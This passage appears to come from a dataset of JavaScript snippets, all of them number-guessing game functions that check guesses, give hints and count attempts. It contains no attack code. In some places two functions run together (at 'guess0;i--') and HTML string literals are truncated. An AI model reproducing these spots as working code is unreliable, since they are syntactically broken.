again.\\\"\\n };\\n // If the user guess is equal to the random number the user wins!\\n if (guess == rand) {\\n hint.innerHTML= \\\"Congrats, victory is yours!\\\"\\n };\\n guess = document.getElementById(\\\"inputText\\\").value = \\\"\\\";\\n}\",\n \"function guessLogic(guess){\\n if (randomNum > guess){\\n \\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too low\\\";\\t\\n }\\n else if (randomNum < guess ){\\n \\t\\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\t\\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\t\\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too high\\\";\\t\\n }\\n else{\\n \\t\\twinner(guess)\\n }\\n}\",\n \"function letsGuess() {\\n // sugenereuoti skaiciu nuo 1 iki 10 sveika skaiciu\\n let randomNumber = Math.floor(Math.random() * 10) + 1;\\n // console.log(\\\"randomNumber\\\", randomNumber);\\n // paprasyti user input ir patikrtinti ar pataikyta\\n let userNumber = prompt(\\\"Iveskite skaiciu\\\");\\n // console.log(\\\"userNumber\\\", +userNumber);\\n\\n if (randomNumber === +userNumber) {\\n console.log(\\\"Pataikete, sveikinimai\\\");\\n } else {\\n console.log(\\\"Neatspejote, bandykite dar karta. Kompiuteris spejo kad sptesit\\\", randomNumber);\\n }\\n}\",\n \"function checkGuess() {\\n\\n\\tif (playersGuess==winningNumber) {\\n\\t\\t\\t$(\\\"#winner\\\").text(\\\"!!! IT'S YOU. YOU WON !!!\\\");\\n\\t\\t\\talert(\\\"WE HAVE A WINNER!!!\\\");\\n\\t\\t\\t//add some sick congratulatory elements\\n\\t} else {\\n\\t\\t\\tlowerOrHigher();\\n\\t}\\n}\",\n \"function makeGuess() {\\n if (hasGameEnded(guesses, secret)) {\\n return;\\n }\\n if (isValidInput(guess)) {\\n setStatus(\\\"\\\");\\n console.log(\\\"secret: \\\" + secret);\\n setGuesses(guesses.concat(guess));\\n setGuess(\\\"\\\");\\n setHints(hints.concat(getHint(secret, guess)));\\n console.log(\\\"num guesses: \\\" + guesses.length);\\n } else {\\n console.log(\\\"bad input\\\");\\n setStatus(\\\"A guess must be a 4-digit unique integer (1-9)\\\");\\n }\\n }\",\n \"function guessFunction(userNum, randomNum) {\\n if (userNum === randomNum) {\\n boom();\\n lastGuessNumber.style.color = \\\"#1abc9c\\\";\\n guessBtn.disabled = true;\\n setRangeValue(minNum -= 10, maxNum += 10);\\n } else if (userNum > randomNum) {\\n guessText.innerText = \\\"That is too high\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n } else {\\n guessText.innerText = \\\"That is too low\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n }\\n}\",\n \"function guessingGame() {\\n\\tvar randomNumber = Math.ceil(20 * Math.random());\\n\\tvar guess = Number(prompt(\\\"Try a number between 1 and 20!\\\"));\\n\\tvar numTries = 1;\\n\\tif (guess === randomNumber) {\\n\\t\\talert(\\\"Congratulations! You guessed correctly on the first try.\\\");\\n\\t}\\n\\twhile (guess !== randomNumber) {\\n\\t\\tguess = Number(prompt(\\\"Try again.\\\"));\\n\\t\\tnumTries++;\\n\\t\\tif (guess === randomNumber) {\\n\\t\\t\\talert(\\\"Congratulations! It took you \\\" + numTries + \\\" tries.\\\");\\n\\t\\t\\treturn(guess);\\n\\t\\t}\\n\\t}\\t\\n}\",\n \"function checkGuess(){\\r\\n guesstext=guesstext.toUpperCase();//country array is in upper case, so change guess to uppercase\\r\\n if(guesstext==answer){//if the guess was correct\\r\\n answer=pickAnswer();//find a new answer\\r\\n chances=3; score+=10; guess.value=\\\"\\\";//reset chances to 3, add 10 to score and clear guess input field\\r\\n alert(guesstext+\\\"! You're right!\\\");//congratulate the user\\r\\n }\\r\\n else{chances-=1; guess.value=\\\"\\\";//guess is not correct, subtract one chance and clear the input field\\r\\n if(chances>0){alert(\\\"Nope. Try again.\\\");}//if there are chances left, ask user to try again\\r\\n }\\r\\n showGui();// turns on the engine and updates info\\r\\n }\",\n \"function guess() {\\n\\n // WRITE YOUR EXERCISE 4 CODE HERE\\n let number=Math.floor(Math.random()*999)+1;\\n let attempts=0;\\n let correct_answer = false;\\n while (correct_answer==false) {\\n let guess=prompt('enter your guess')\\n if(guess>=1 && guess<=1000 && Number.isInteger(Number(guess))){\\n console.log(\\\"1\\\");\\n if (number==guess){\\n attempts++;\\n correct_answer=true;\\n alert(\\\"Correct Answer!\\\")\\n document.getElementById('guess-output').innerHTML=\\\"Number: \\\"+number+\\\"
    Attempts: \\\"+attempts;\\n }\\n else if(guess>number){\\n attempts++;\\n alert(\\\"too high\\\")\\n }\\n else if(guess0;i--){\\n\\t\\thintarr.push(Math.ceil(Math.random()*100));\\n\\t}\\n\\thintarr=shuffle(hintarr);\\n\\t$(\\\"#message\\\").text(hintarr);\\n\\n}\",\n \"function checkGuess() {\\n\\t\\tplayersGuessSubmission();\\n\\t\\t//check win\\n\\t\\tif (winningNumber === playersGuess) {\\n\\t\\t\\t$(\\\".thermometer\\\").html (\\\"\\\"+playersGuess+\\\"&deg\\\")\\n\\t\\t\\t$(\\\"#therm\\\").removeAttr('class');\\n\\t\\t\\t$(\\\"#therm\\\").addClass(\\\"thermometer scorching\\\");\\n\\t\\t\\t$(\\\".text\\\").append (\\\"

    Scorching!!!

    \\\")\\n\\t\\t}\\n\\t\\t//check errors\\n\\t\\telse if (playersGuess > 100) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"

    Remember between 1 - 100!

    \\\")\\n\\t\\t}\\n\\t\\telse if (isNaN(playersGuess)) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"

    Not a number

    \\\")\\n\\t\\t}\\n\\t\\t//check and update\\n\\t\\telse {\\n\\t\\t\\t$(\\\".thermometer\\\").html (\\\"\\\"+playersGuess+\\\"&deg\\\")\\n\\t\\t\\tWarmerOrColder(); \\n\\t\\t}\\n\\t}\",\n \"function randomizer () {\\n // convert the users number to an integer\\n userGuess = document.getElementById('input').value\\n userGuess = parseInt(userGuess)\\n\\n // generate random number between 1 and 6\\n randomNumber = (Math.random() * 6) + 1\\n randomNumber = parseInt(randomNumber)\\n // compare users guess to random numbers\\n if (userGuess === randomNumber) {\\n document.getElementById('answer').innerHTML = 'you win!'\\n }\\n}\",\n \"function guessNumber() {\\n console.log(\\\"our random number ==\\\" + randomNumber);\\n let guess=parseFloat(inputValue.value);\\n if(guess === \\\"\\\" || guess <= 0 || guess > 100 || isNaN(guess)){\\n msg[0].innerHTML =\\\"Please enter a number between 1 and 100\\\";\\n } \\n else{\\n tryChances();\\n if(guess > randomNumber){\\n msg[0].innerHTML =\\\"Number is too high\\\";\\n }\\n else if(guess < randomNumber){\\n msg[0].innerHTML =\\\"Number is too low\\\";\\n }\\n else if(guess === randomNumber) {\\n msg[0].innerHTML =\\\"You win\\\";\\n btnGuess.disabled=true;\\n return;\\n }\\n }\\n}\",\n \"function guessNumber()\\r\\n{\\t\\r\\n\\r\\n\\r\\n\\tlet userInputInt = document.getElementById(\\\"userGuess\\\").value; //grabbing the input from the user and making it a number so it doesn't come out with NaN\\r\\n\\t\\r\\n\\t if (userInputInt == randomNumber)\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"YOU GOT IT!!\\\" //making an if statement that prints out the user got it if the input matches the random number\\r\\n\\t\\tdocument.getElementById(\\\"check\\\").disabled=true; //disabling the check button when the user gets it correct so it forces them to restart if they decide to\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt > randomNumber) //else if statement that shows if the input is greater than the random number\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"LOWER!!\\\"\\r\\n\\t\\r\\n\\t\\tnumberOfGuesses-- //everytime the user guesses wrong the number of guesses decrease by 1\\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses; //changing the number of guesses displayed\\r\\n\\t}\\r\\n\\t\\r\\n\\telse\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"HIGHER!!\\\"\\r\\n\\t\\tnumberOfGuesses-- \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//if the input number is lower the output displays a statement that tells the user to guess higher\\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses;\\r\\n\\t}\\r\\n\\r\\n\\t////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\\r\\n\\tif (numberOfGuesses == 0)\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"check\\\").disabled=true; //disabling the button after the user runs out of guesses\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"Out of Guesses..\\\";\\r\\n\\t\\tsetTimeout(numGuessSleep, 1000);\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\t//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\\r\\n\\r\\n\\tif (userInputInt > 19) //if the user inputs a number greater than the greatest random number it will throw an alert and tell you cant type over 19 and it restarts\\r\\n\\t{\\r\\n\\t\\talert(\\\"You can't type any number over 19\\\");\\r\\n\\t\\trestartGame();\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt == \\\"\\\") //if the user types no input it will display a sentence\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"Type something..\\\";\\r\\n\\t\\tnumberOfGuesses = 5; //without this the number of guesses will decrease \\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses;\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt < MIN) //if the user inputs a number less than the lowest possible number it also throws an alert and tells you cant type beow 1 and it restarts\\r\\n\\t{\\r\\n\\t\\talert(\\\"You can't type any number below 1.\\\");\\r\\n\\t\\trestartGame(); //running the restart game function\\r\\n\\t}\\r\\n\\r\\n\\r\\n}\",\n \"function guessing_game(guess) {\\n var num = Math.ceil(Math.random() * 10);\\n\\n if (guess == num)\\n alert('Good Work');\\n else\\n alert('Not matched, the number was ' + num);\\n}\",\n \"function guessNumber() {\\n let userNumber = parseInt(userInput.value);\\n let text = \\\"\\\";\\n\\n if (userNumber > randomNumber && userNumber <= 100) {\\n text = \\\"demasiado alto\\\";\\n } else if (userNumber < randomNumber) {\\n text = \\\"demasiado bajo\\\";\\n } else if (userNumber === randomNumber) {\\n text = \\\"has ganado campeona\\\";\\n } else if (userNumber > 100 || userNumber === 0) {\\n text = \\\"el número debe estar entre 1 y 100\\\";\\n }\\n\\n counter();\\n showFeedback(text);\\n}\",\n \"function checkGuess(){\\n \\n // Increase the guess counter by 1\\n counterGuess++;\\n \\n // get value from the input element\\n var guessedNum = $numberInput.val();\\n console.log(guessedNum);\\n \\n // test if value entered is valid\\n var numIsValid = validateGuess(guessedNum, $messageOutput);\\n \\n // Check Guess against random number\\n if(numIsValid === true){\\n\\tif(guessedNum > ranNum){\\n\\t\\t$messageOutput.text('To high, try a lower number');\\n\\t}else if(guessedNum < ranNum){\\n\\t\\t$messageOutput.text('To low, try a higher number');\\t\\n\\t}else{\\n\\t\\tendGame(counterGuess);\\t\\t\\n\\t}\\n } \\n\\n} // end checkGuess function\",\n \"function guessing_game(guess) {\\n // Get a random integer from 1 to 10 inclusive\\n var x=Math.ceil(10*Math.random());\\n if(x==guess)\\n console.log(\\\"Good Work!\\\");\\n else\\n console.log(\\\"Not Matched!Value is \\\"+x);\\n return x;\\n \\n}\",\n \"function checkguess() { \\n\\n// USER GUESS TAKEN FROM TEXT BOX, CONVERTED FROM A STRING AND STORED TO VAR\\nvar userguess = parseInt(document.getElementById(\\\"input1\\\").value);\\n\\t\\n// IF THE GUESS IS BIGGER \\n\\tif (userguess > randomnum) {\\n\\t\\n//COUNT CLICKS VARIABLE CALLED ON AND ADDS +1 \\n\\t\\t countClicks++;\\n// RESULT \\n result = \\\"Your guess of \\\" + userguess + \\\" is higher than the magic number.
    You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse if (userguess < randomnum) {\\n\\t\\t\\t countClicks++;\\n result =\\\"Your guess of \\\" + userguess + \\\" is lower than the magic number.
    You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse {\\n\\t\\t\\tcountClicks++;\\n result = \\\"Success, You win! You took \\\" + countClicks + \\\" guesses.\\\";\\n\\t\\t\\t\\n } \\n// SENDS THE RESULT TO THE DOM\\n\\t document.getElementById(\\\"result\\\").innerHTML = result;\\n\\t\\n} //END OF FUNCTION - dont delete!\",\n \"function userGuess(){\\n var input = parseInt($(\\\"#userGuess\\\").val());\\n var feedback = [\\\"Congrats you won! Click New Game to start another game\\\", \\\"Please enter a number\\\", \\\"Pick a number btw 1-100\\\", \\\"Very Hot\\\", \\\"Hot\\\", \\\"Warm\\\", \\\"Cold\\\", \\\"Very Cold\\\", \\\"Cold as Vanilla Ice's career\\\"]\\n if (input == random) {\\n updateFeedback(feedback[0]);\\n } else if (input >= 101 || input == 0) {\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n updateFeedback(feedback[2]);\\n } else if (random - 5 <= input && input <= random + 5) {\\n updateFeedback(feedback[3]);\\n } else if (random - 10 <= input && input <= random + 10) {\\n updateFeedback(feedback[4]); \\n } else if (random - 15 <= input && input <= random + 15) {\\n updateFeedback(feedback[5]);\\n } else if (random - 25 <= input && input <= random + 25) {\\n updateFeedback(feedback[6]);\\n } else if (random - 30 <= input && input <= random + 30) {\\n updateFeedback(feedback[7]);\\n } else if (isNaN(input)) {\\n updateFeedback(feedback[1]);\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n } else {\\n updateFeedback(feedback[8]);\\n }\\n }\",\n \"function isGuessCorrect(randomNumber, answer) {\\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\\n if (numberGuessed < numberOfGuessesAllowed) {\\n //condition that checks if the guess is lesser than the goal\\n if (answer > randomNumber) {\\n setTimeout(function () {\\n $(\\\"#guess\\\").html(`
    Guess too high. Guess Again
    `);\\n }, 1000);\\n }//condition that checks if the guess is greater than the goal\\n if (answer < randomNumber) {\\n setTimeout(function () {\\n $(\\\"#guess\\\").html(`
    Guess too low. Guess Again
    `);\\n }, 1000);\\n }//condition that checks if the guess is the same as the goal\\n if (answer === randomNumber) {\\n //call back function that displays the end game result \\n setTimeout(function () {\\n $(\\\"body\\\").html(`

    GAME WON!

    \\n `);\\n $(\\\"#restartgame\\\").click(function () {\\n location.reload();\\n });\\n }, 1000);\\n }\\n //call back function that displays the number of times the user has guessed as an animation on screen\\n setTimeout(function () {\\n $(\\\"#numberofguesses\\\").html(`
    Number of times guessed : ${numberGuessed}
    `);\\n }, 1000);\\n //callback function that displays the maximum number of guesses the user can make as an animation on screen\\n setTimeout(function () {\\n $(\\\"#maxnumberofguesses\\\").html(`
    Maximum guesses allowed : ${numberOfGuessesAllowed}
    `);\\n }, 1000);\\n }\\n else {\\n $(\\\"body\\\").html(`
    \\n

    GAME OVER!

    \\n
    \\n `);\\n $(\\\"#restartgame\\\").click(function () {\\n location.reload();\\n });\\n }\\n }\",\n \"function newGame() {\\n\\tnum = Math.round(Math.random() * 50);\\n\\tguess.placeholder=\\\"Make your first guess\\\";\\n\\tdocument.getElementById(\\\"output\\\").innerHTML=\\\"You have five attempts to guess my number between 1 and 50\\\";\\n\\treset.style.display=\\\"none\\\";\\n}\",\n \"function check_guess() {\\n \\n count_timer();\\n \\n var guess_from_user = document.getElementById(\\\"number_guessed\\\").value; // this grabs the input from the user and stores it in the variable guess_from_user\\n \\n var output; // the result \\n \\n number_guesses_left--;\\n \\n number_of_guesses++;\\n \\n \\n if (isNaN(guess_from_user) || guess_from_user < 1 || guess_from_user > 100)\\n { \\n output = \\\"Please enter a valid number\\\";\\n } \\n \\n if (guess_from_user > random_number && guess_from_user > 0 && guess_from_user < 101)\\n { \\n output = \\\"You guessed to high, you have \\\" + number_guesses_left + \\\" left.\\\";\\n \\n }\\n \\n if (guess_from_user < random_number && guess_from_user > 0 && guess_from_user < 101)\\n { \\n output = \\\"You guessed to low, you have \\\" + number_guesses_left + \\\" left\\\";\\n }\\n \\n if (guess_from_user == random_number) // if the user guesses correctly an alert box will appear\\n {\\n alert_box(\\\"Congratulations you guessed the number \\\" + random_number + \\\" correctly, it only took you \\\" + number_of_guesses + \\\" time(s), would you like to play again?\\\");\\n }\\n \\n if (number_guesses_left == 0) // if the user does not guess within the amount of tries they lose\\n {\\n alert_box(\\\"You lose, the secret number was \\\" + random_number + \\\", would you like to play again?\\\");\\n }\\n \\n \\n document.getElementById(\\\"the_output\\\").innerHTML = output; // this displays the output based on what the user inputs regarding the loop above \\n }\",\n \"function checkGuess(){\\n\\t\\t// add code here\\n\\t\\tif(playersGuess === winningNumber) {\\n\\t\\t\\t$('#domMessage').text('Good catch, YOU WIN!!!!');\\n\\t\\t\\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'green'});\\n\\t\\t\\t$(\\\".guess\\\").hide();\\n\\t\\t\\t$(\\\"#guessmessage\\\").hide();\\n\\t\\t\\t$(\\\"#Hint\\\").hide();\\n\\t\\t} \\n\\n\\t\\telse if(duplicateCheck(playersGuess)===true) {\\n\\t\\t\\t$('#domMessage').text('You already tried this number; input a different one ');\\n\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\\n\\t\\t}\\n\\n\\t\\telse if(guessRemaining >=1) {\\n\\t\\t\\tguessRemaining--;\\n\\t\\t\\tattempts.push(playersGuess);\\n\\n\\t\\t\\tif(guessRemaining===1) {\\n\\t\\t\\t\\t$('#domMessage').text('Error. This is your last guess ! ');\\n\\t\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\\n\\t\\t\\t\\tguessMessage();\\n\\t\\t\\t} else if(guessRemaining>1){\\n\\t\\t\\t\\t$('#domMessage').text('You have ' + guessRemaining + ' remaining guesses.');\\n\\t\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'black', 'font-family': 'palatino'});\\n\\t\\t\\t\\tguessMessage();\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\telse if(guessRemaining===0) {\\n\\t\\t\\t$('#domMessage').text('GAME OVER. Reset if you want to give it another try.');\\n\\t\\t\\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'red'});\\n\\t\\t\\t$(\\\".guess\\\").hide();\\n\\t\\t\\t$(\\\"#guessmessage\\\").hide();\\n\\t\\t\\t$(\\\"#Hint\\\").hide();\\n\\t\\t}\\n\\t}\",\n \"function decideToGenerate() {\\n if (numberOfGuesses === 1) {\\n generateNumber();\\n }\\n}\",\n \"function usersGuess() {\\n // to get the value entered by the user\\n var inputGuess = document.getElementById('guessed-field').value;\\n // to parse the user input\\n var userInput = parseInt(inputGuess);\\n // to check if the user input is an integer which is a value above 1 and below 45\\n if (isNaN(userInput) || userInput < 1 || userInput > 45) {\\n clearValue();\\n // to display a text alert if the conditions are not met\\n textBlink();\\n displayInnerHtml('alert-text', 'Please enter a number between 1 & 45');\\n return;\\n }\\n // to check if the user input is equal to the generated number\\n if (generatedNumber === userInput) {\\n // message display as animation\\n textBlink();\\n document.getElementById('background').style.background = \\\"url('../mind-game/images/youwon_mobile.png')\\\";\\n document.getElementById('end-game').click();\\n displayInnerHtml(\\n 'popup-text',\\n 'CONGRATS!! You guessed it right in try no' + ' ' + (5 - numberOfTry)\\n ); \\n }\\n // to check if the user input is lesser than the generated number\\n else if (generatedNumber > userInput) {\\n numberOfTry -= 1;\\n // to check if the number of guesses is equal to zero\\n if (numberOfTry === 0) {\\n // message display as animation\\n textBlink();\\n document.getElementById('end-game').click();\\n displayInnerHtml(\\n 'popup-text',\\n 'The number was' +\\n ' ' +\\n generatedNumber +\\n '.'\\n );\\n return;\\n }\\n // to display the number of chances left\\n displayInnerHtml(\\n 'chance-alert',\\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\\n );\\n displayInnerHtml(\\n 'alert-text',\\n 'UH OH!!! Enter a value higher than' + ' ' + userInput\\n );\\n // to return the textinput value to emptyfield\\n clearValue();\\n \\n } else {\\n numberOfTry -= 1;\\n if (numberOfTry === 0) {\\n textBlink();\\n displayInnerHtml(\\n 'alert-text',\\n 'The number was' +\\n ' ' +\\n generatedNumber +\\n '.'\\n );\\n return;\\n }\\n displayInnerHtml(\\n 'chance-alert',\\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\\n );\\n displayInnerHtml(\\n 'alert-text',\\n 'UH OH!!! Enter a value lower than' + ' ' + userInput\\n );\\n // to return the textinput value to emptyfield\\n clearValue();\\n \\n }\\n}\",\n \"function checkNumber() {\\n let userGuess = Number(guessField.value);\\n //let inputType = typeof userGuess garaas oruulsan utga too esehiig shalganaa\\n\\n let l1, l2, l3, l4;\\n l1 = (userGuess - (userGuess % 1000)) / 1000;\\n l2 = ((userGuess % 1000) - (userGuess % 100)) / 100;\\n l3 = ((userGuess % 100) - (userGuess % 10)) / 10;\\n l4 = userGuess % 10;\\n\\n let a = 0,\\n b = 0;\\n if (random_1 == l1) a++;\\n if (random_2 == l2) a++;\\n if (random_3 == l3) a++;\\n if (random_4 == l4) a++;\\n\\n if (l1 == random_2 || l1 == random_3 || l1 == random_4) b++;\\n if (l2 == random_1 || l2 == random_3 || l2 == random_4) b++;\\n if (l3 == random_2 || l3 == random_1 || l3 == random_4) b++;\\n if (l4 == random_2 || l4 == random_3 || l4 == random_1) b++;\\n\\n status = document.createElement(\\\"p\\\");\\n status.setAttribute(\\\"id\\\", \\\"p1\\\");\\n status.textContent =\\n l1 +\\n \\\" \\\" +\\n l2 +\\n \\\" \\\" +\\n l3 +\\n \\\" \\\" +\\n l4 +\\n \\\" | a = \\\" +\\n a +\\n \\\" \\\" +\\n \\\"b = \\\" +\\n b +\\n \\\" \\\";\\n resultDiv.append(status);\\n\\n guessField.value = \\\"\\\";\\n guessField.focus();\\n\\n if (a == 4) {\\n game = document.createElement(\\\"label\\\");\\n game.textContent = \\\"You won!!!\\\";\\n game.style.backgroundColor = \\\"green\\\";\\n resultDiv.append(game);\\n setGameOver();\\n }\\n}\",\n \"function provideHint(){\\n\\tvar randNum1 = Math.ceil(Math.random() * 100);\\n var randNum2 = Math.ceil(Math.random() * 100);\\n var hintArray = [randNum1, randNum2, winningNumber].sort(function() { return .5 - Math.random(); });\\n $('.hintMessage').text(\\\"Try one of these: [\\\" + hintArray.join(', ') + \\\"]\\\");\\n}\",\n \"function numberguess() {\\n x = Math.floor(Math.random() * 10) + 1; // returns a number between 1 and 10\\n userResponse = prompt('Enter a Number between 1 and 10')\\n\\n if (x === userResponse) {\\n alert('You guessed Correct')\\n }\\n else {\\n alert('You guessed Wrong')\\n }\\n alert('Random Number was ' + x)\\n\\n}\",\n \"function getRandomCompared() {\\n let userNumber = parseInt(input.value);\\n if (randomNumberSelected === userNumber) {\\n printResult(result, 'You win!! 🎉');\\n } else if (userNumber > 100) {\\n printResult(result, 'Can\\\\'t be bigger than 100');\\n } else if (userNumber < 0) {\\n printResult(result, 'Can\\\\'t be smaller than 0');\\n } else if (randomNumberSelected < userNumber) {\\n printResult(result, 'Too hight 🌡, try again');\\n add1Counter();\\n } else if (randomNumberSelected > userNumber) {\\n printResult(result, 'Too short ☃, try again');\\n add1Counter();\\n } else {\\n printResult(result, 'Please, enter a valid number');\\n }\\n}\",\n \"function checkGuess(){\\n\\tif(playersGuess === winningNumber){\\n //$('#result').text(\\\"winner winner chicken dinner!\\\");\\n return winner();\\n }\\n else {\\n if(guesses.indexOf(playersGuess) === -1){\\n guesses.push(playersGuess);\\n guessMessage();\\n }\\n else{\\n $('#result').text(\\\"Be more creative with your choices...\\\")\\n } \\n }\\n}\",\n \"function guess(numberGenerated, totalGuess, max) {\\n const numberGuessed = readline.question(`Guess the number: `);\\n if(numberGuessed < 0 || numberGuessed > max) {\\n console.log(`\\\\nplease guess the number between 0 and ${max}`);\\n guess(numberGenerated, totalGuess, max);\\n }\\n if(numberGenerated == numberGuessed) {\\n totalGuess++;\\n console.log(`\\n Booyah....! You guessed correctly..\\n Number generated is : ${numberGenerated}\\n Your guess is: ${numberGuessed}\\n chances you took : ${totalGuess}\\n `);\\n process.exit();\\n } else {\\n console.log(`Oops..! Your guess is wrong..!\\\\n`);\\n totalGuess++;\\n guess(numberGenerated, totalGuess, max);\\n }\\n}\",\n \"function game(param1, param2) {\\n if (param1 - Math.floor(param1) !== 0 || param2 - Math.floor(param2) !== 0)\\n return;\\n var random = Math.floor(Math.random() * (param2 - param1 + 1) + param1);\\n var userAnswer = +prompt(\\\"Enter number\\\");\\n while (random !== userAnswer) {\\n console.log('Try again!');\\n userAnswer = +prompt(\\\"Enter number\\\");\\n }\\n console.log('Gratz!');\\n}\",\n \"function guesses() {\\n \\t\\tuserGuess = parseInt($(\\\"#guess\\\").val());\\n\\n\\t \\tif (userGuess < randomNumber) {\\n\\t\\t\\t$(\\\".message\\\").text(\\\"Your guess is too low\\\");\\n\\n\\t\\t} else if (userGuess > randomNumber){\\n\\t\\t\\t$(\\\".message\\\").text(\\\"Your guess is too high\\\");\\n\\n\\t\\t} else if (userGuess === randomNumber){\\n\\t\\t\\t$(\\\".message\\\").text(\\\"You guessed correctly!\\\");\\n\\t\\t\\t$(\\\".message\\\").attr(\\\"class\\\", \\\"success\\\");\\n\\t\\t} \\n\\t}\",\n \"function game() { \\n const playerguess = document.getElementById(\\\"guess\\\").value;\\n\\n if (playerguess == luckynumber)\\n {alert(\\\"omg you ARE the lucky winner, treat yourself to a drink in our newly renovated drinkroom!!\\\");\\n }\\n else if (playerguess == (luckynumber + 1))\\n {alert(\\\"close, but yet so far!\\\");\\n }\\n else if (playerguess == (luckynumber - 1))\\n {alert(\\\"close, but yet so far!\\\");\\n }\\n else \\n {alert(\\\"you couldnt be more wrong! Maybe more luck next time\\\");}\\n }\",\n \"function guessingGame() {\\n var guessString = prompt(\\\"Please guess a number 1 through 5\\\");\\n var guessNum = parseInt(guessString);\\n var randomNum = Math.floor(Math.random() * 6);\\n while (guessNum != randomNum) {\\n if (guessNum < randomNum) {\\n guessNum = prompt(\\\"Nope! Too low! Please guess another number.\\\");\\n }\\n else {\\n guessNum = prompt(\\\"Nope! Too high! Please guess another number.\\\");\\n }\\n };\\n\\n alert(\\\"You're amazing! The number was \\\" + randomNum);\\n }\",\n \"function againBtn() {\\n\\n document.querySelector('.guess').value = '';\\n \\n number = Math.trunc(Math.random() * 20 ) + 1; \\n\\n score = 20; \\n\\n displayMessage(\\\"Start guessing...\\\");\\n\\n UIscore(score); \\n\\n bgColor(\\\"#222\\\");\\n\\n document.querySelector('.number').textContent = \\\"?\\\";\\n}\",\n \"function numberGuessGame() {\\n\\t\\n//when they click the button it starts the function and creates a message that alerts the user as to what to do. It then allows the user to enter their guess. \\n\\tlet message =\\n \\\"I'm thinking of a number between 1 and 100.\\\\n\\\" +\\n \\\"Try to guess it!\\\\n\\\" +\\n \\\"Please enter an integer between 1 and 100.\\\";\\n//uses the JS math function to create a random number for the user to guess \\n\\tlet answer = 38;\\n\\t//grabs their \\\"guess\\\" and creates a variable from it\\n let guess;\\n\\t//counter variable that will count the attempts. \\n\\t\\tlet counter = 0;\\n//post test loop which will go through until number is guessed. Will add up and end as soon as user guesses number. \\n do {\\n\\t\\t\\t\\tcounter ++;\\n guess = parseInt(prompt(message));\\n\\t\\t\\t\\n if (guess < answer) {\\n message = guess +\\n \\\" is too low. Please enter another number.\\\";\\n }\\n else if (guess > answer) {\\n message = guess +\\n \\\" is too high. Please enter another number.\\\";\\n }\\n } while (guess != answer);\\n\\t\\n\\t\\t//Updates the message once the user has guessed the number.\\n message = guess + \\\" is correct! It only took you \\\" + counter + \\\" attempts to guess it! Great job!\\\";\\n \\n\\t//Displays the message.\\n\\tdocument.getElementById('answer').innerHTML = message;\\n\\t\\n}\",\n \"function newGame() {\\n inputValue.value = \\\"\\\";\\n btnGuess.disabled=false;\\n randomNumber = Math.floor(Math.random() * 100 + 1);\\n count = 0;\\n noOfTry.textContent = \\\"tries:\\\" + count;\\n chance.innerHTML = \\\"Number of chances: 5\\\"; \\n triesLeft=5;\\n msg[0].textContent=\\\"Guess a number between 1 and 100\\\";\\n}\",\n \"function guessingGame(){\\n\\nvar randomNumber = Math.floor(Math.random() * 10) + 1;\\n//console.log(randomNumber);\\nvar guess = prompt('guess a number between 1 and 10!');\\nconsole.log(guess);\\nif(guess=null){\\n\\treturn\\n}\\n\\nwhile(randomNumber !=guess){\\n\\tif(randomNumber > guess){\\n\\t\\talert('your guess is too low');\\n\\t\\t} else{\\n\\t\\t\\talert('your guess is too high')\\n\\t\\t}\\n\\t guess = prompt('Guess a number between 1 and 